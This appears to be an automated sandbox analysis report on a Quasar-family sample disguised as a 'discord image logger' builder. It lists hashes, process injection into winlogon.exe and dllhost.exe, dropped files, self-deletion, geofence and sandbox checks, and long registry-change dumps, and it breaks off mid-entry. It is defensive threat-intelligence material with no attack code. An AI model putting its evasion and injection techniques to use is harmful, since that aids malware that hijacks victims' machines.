Overview
overview
10Static
static
10discord-im...er.bat
windows7-x64
4discord-im...er.bat
windows10-2004-x64
10discord-im...bug.py
windows7-x64
3discord-im...bug.py
windows10-2004-x64
3discord-im...ers.py
windows7-x64
3discord-im...ers.py
windows10-2004-x64
3discord-im...ken.py
windows7-x64
3discord-im...ken.py
windows10-2004-x64
3discord-im...ion.py
windows7-x64
3discord-im...ion.py
windows10-2004-x64
3discord-im...tup.py
windows7-x64
3discord-im...tup.py
windows10-2004-x64
3discord-im...nfo.py
windows7-x64
3discord-im...nfo.py
windows10-2004-x64
3discord-im...fig.py
windows7-x64
3discord-im...fig.py
windows10-2004-x64
3discord-im...ain.py
windows7-x64
3discord-im...ain.py
windows10-2004-x64
3Analysis
-
max time kernel
150s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
04-06-2024 17:31
Behavioral task
behavioral1
Sample
discord-image-logger-main/builder.bat
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
discord-image-logger-main/builder.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
discord-image-logger-main/src/components/antidebug.py
Resource
win7-20240508-en
Behavioral task
behavioral4
Sample
discord-image-logger-main/src/components/antidebug.py
Resource
win10v2004-20240426-en
Behavioral task
behavioral5
Sample
discord-image-logger-main/src/components/browsers.py
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
discord-image-logger-main/src/components/browsers.py
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
discord-image-logger-main/src/components/discordtoken.py
Resource
win7-20240419-en
Behavioral task
behavioral8
Sample
discord-image-logger-main/src/components/discordtoken.py
Resource
win10v2004-20240508-en
Behavioral task
behavioral9
Sample
discord-image-logger-main/src/components/injection.py
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
discord-image-logger-main/src/components/injection.py
Resource
win10v2004-20240426-en
Behavioral task
behavioral11
Sample
discord-image-logger-main/src/components/startup.py
Resource
win7-20240508-en
Behavioral task
behavioral12
Sample
discord-image-logger-main/src/components/startup.py
Resource
win10v2004-20240426-en
Behavioral task
behavioral13
Sample
discord-image-logger-main/src/components/systeminfo.py
Resource
win7-20240508-en
Behavioral task
behavioral14
Sample
discord-image-logger-main/src/components/systeminfo.py
Resource
win10v2004-20240226-en
Behavioral task
behavioral15
Sample
discord-image-logger-main/src/config.py
Resource
win7-20240221-en
Behavioral task
behavioral16
Sample
discord-image-logger-main/src/config.py
Resource
win10v2004-20240508-en
Behavioral task
behavioral17
Sample
discord-image-logger-main/src/main.py
Resource
win7-20240221-en
Behavioral task
behavioral18
Sample
discord-image-logger-main/src/main.py
Resource
win10v2004-20240426-en
General
-
Target
discord-image-logger-main/builder.bat
-
Size
14.9MB
-
MD5
70a53c5ec35eefae927a0c413a89937a
-
SHA1
1bc9a22903968bfc05b87c1082a5c4242802d4dd
-
SHA256
a7aa6fa77e4931544a6966ef435400c52a79af300a548aca4e9c67f72218ac2d
-
SHA512
c712f2b98b0eb8c4808e4abcee0cc6100fc3e7d445f40208da0429b754148f190083ce247f183bb112083c15b06f466cbe573fe01f47de3d7958d8624e8d9aae
-
SSDEEP
49152:QYwuS617ST7nN2d57VTqUTm0AmK0jEHD5FQ/9gsyuEgPXiGncZwPnzLO1WtJHFi7:S
Malware Config
Extracted
quasar
-
reconnect_delay
3000
Signatures
-
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/1576-55-0x0000023EEE700000-0x0000023EEEEBC000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
builder.bat.exe$sxr-powershell.exedescription pid process target process PID 4400 created 600 4400 builder.bat.exe winlogon.exe PID 1576 created 600 1576 $sxr-powershell.exe winlogon.exe PID 1576 created 600 1576 $sxr-powershell.exe winlogon.exe PID 4400 created 600 4400 builder.bat.exe winlogon.exe PID 4400 created 600 4400 builder.bat.exe winlogon.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
builder.bat.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation builder.bat.exe -
Deletes itself 1 IoCs
Processes:
builder.bat.exepid process 4400 builder.bat.exe -
Executes dropped EXE 3 IoCs
Processes:
builder.bat.exe$sxr-powershell.exe$sxr-powershell.exepid process 4400 builder.bat.exe 1576 $sxr-powershell.exe 4948 $sxr-powershell.exe -
Drops file in System32 directory 21 IoCs
Processes:
svchost.exesvchost.exebuilder.bat.exe$sxr-powershell.exesvchost.exeOfficeClickToRun.exedescription ioc process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\System32\vcruntime140d.dll builder.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll builder.bat.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\System32\vcruntime140d.dll builder.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File created C:\Windows\System32\ucrtbased.dll builder.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll builder.bat.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\System32\vcruntime140_1d.dll builder.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe -
Suspicious use of SetThreadContext 5 IoCs
Processes:
builder.bat.exe$sxr-powershell.exedescription pid process target process PID 4400 set thread context of 4696 4400 builder.bat.exe dllhost.exe PID 1576 set thread context of 1588 1576 $sxr-powershell.exe dllhost.exe PID 1576 set thread context of 3952 1576 $sxr-powershell.exe dllhost.exe PID 4400 set thread context of 2520 4400 builder.bat.exe dllhost.exe PID 4400 set thread context of 904 4400 builder.bat.exe dllhost.exe -
Drops file in Windows directory 4 IoCs
Processes:
cmd.exebuilder.bat.exedescription ioc process File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File created C:\Windows\$sxr-powershell.exe builder.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe builder.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
mousocoreworker.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
mousocoreworker.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 1372 taskkill.exe -
Modifies data under HKEY_USERS 14 IoCs
Processes:
OfficeClickToRun.exesvchost.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717522493" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 04 Jun 2024 17:34:54 GMT" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={5436FE63-05F9-49BF-A4B9-404397A5E0C9}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe -
Modifies registry class 40 IoCs
Processes:
RuntimeBroker.exeRuntimeBroker.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a22a006-6a14-4079 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a22a006-6a14-4079 = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\176bfc79-b67f-41c6 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\934446be-3972-4f52 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\94672ad3-4be5-49a8 = 5ebbee8ba5b6da01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\94672ad3-4be5-49a8 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\94672ad3-4be5-49a8 = "\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\85934bdc8474496d355efa8e6419892d70336439b275c3e8fea3fc95b3530d0e" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\176bfc79-b67f-41c6 = 16aafa8ba5b6da01 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a22a006-6a14-4079 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ceee768ba5b6da01ceee768ba5b6da01ceee768ba5b6da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c458658c2000656539356264343233363738306637396635323664643565613061326562346261626263333265396331316230363331383136353932323264383236306166350000b20009000400efbec458658cc458658c2e00000000000000000000000000000000000000000000000000326ccd00650065003900350062006400340032003300360037003800300066003700390066003500320036006400640035006500610030006100320065006200340062006100620062006300330032006500390063003100310062003000360033003100380031003600350039003200320032006400380032003600300061006600350000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000037c7c12d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65653935626434323336373830663739663532366464356561306132656234626162626333326539633131623036333138313635393232326438323630616635000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7cedfeae542e0def1192f1f20c5df75bb0a40a9b40716b2445984d9ed1edd3eb7cedfeae542e0def1192f1f20c5df75bb0d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\934446be-3972-4f52 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\176bfc79-b67f-41c6 = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\176bfc79-b67f-41c6 = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\94672ad3-4be5-49a8 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\94672ad3-4be5-49a8 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000f83ba48ba5b6da01dcaed88ba5b6da01dcaed88ba5b6da0156230a000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c458658c2000383539333462646338343734343936643335356566613865363431393839326437303333363433396232373563336538666561336663393562333533306430650000b20009000400efbec458658cc458658c2e000000000000000000000000000000000000000000000000005c45c600380035003900330034006200640063003800340037003400340039003600640033003500350065006600610038006500360034003100390038003900320064003700300033003300360034003300390062003200370035006300330065003800660065006100330066006300390035006200330035003300300064003000650000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000037c7c12d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c38353933346264633834373434393664333535656661386536343139383932643730333336343339623237356333653866656133666339356233353330643065000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7cf0feae542e0def1192f1f20c5df75bb0a40a9b40716b2445984d9ed1edd3eb7cf0feae542e0def1192f1f20c5df75bb0d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\176bfc79-b67f-41c6 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000027779f8ba5b6da01ab38e28ba5b6da01ab38e28ba5b6da012e6b0a000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c458658c2000656539356264343233363738306637396635323664643565613061326562346261626263333265396331316230363331383136353932323264383236306166350000b20009000400efbec458658cc458658c2e00000000000000000000000000000000000000000000000000326ccd00650065003900350062006400340032003300360037003800300066003700390066003500320036006400640035006500610030006100320065006200340062006100620062006300330032006500390063003100310062003000360033003100380031003600350039003200320032006400380032003600300061006600350000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000037c7c12d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65653935626434323336373830663739663532366464356561306132656234626162626333326539633131623036333138313635393232326438323630616635000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7cf1feae542e0def1192f1f20c5df75bb0a40a9b40716b2445984d9ed1edd3eb7cf1feae542e0def1192f1f20c5df75bb0d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a22a006-6a14-4079 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\934446be-3972-4f52 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\94672ad3-4be5-49a8 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\176bfc79-b67f-41c6 = 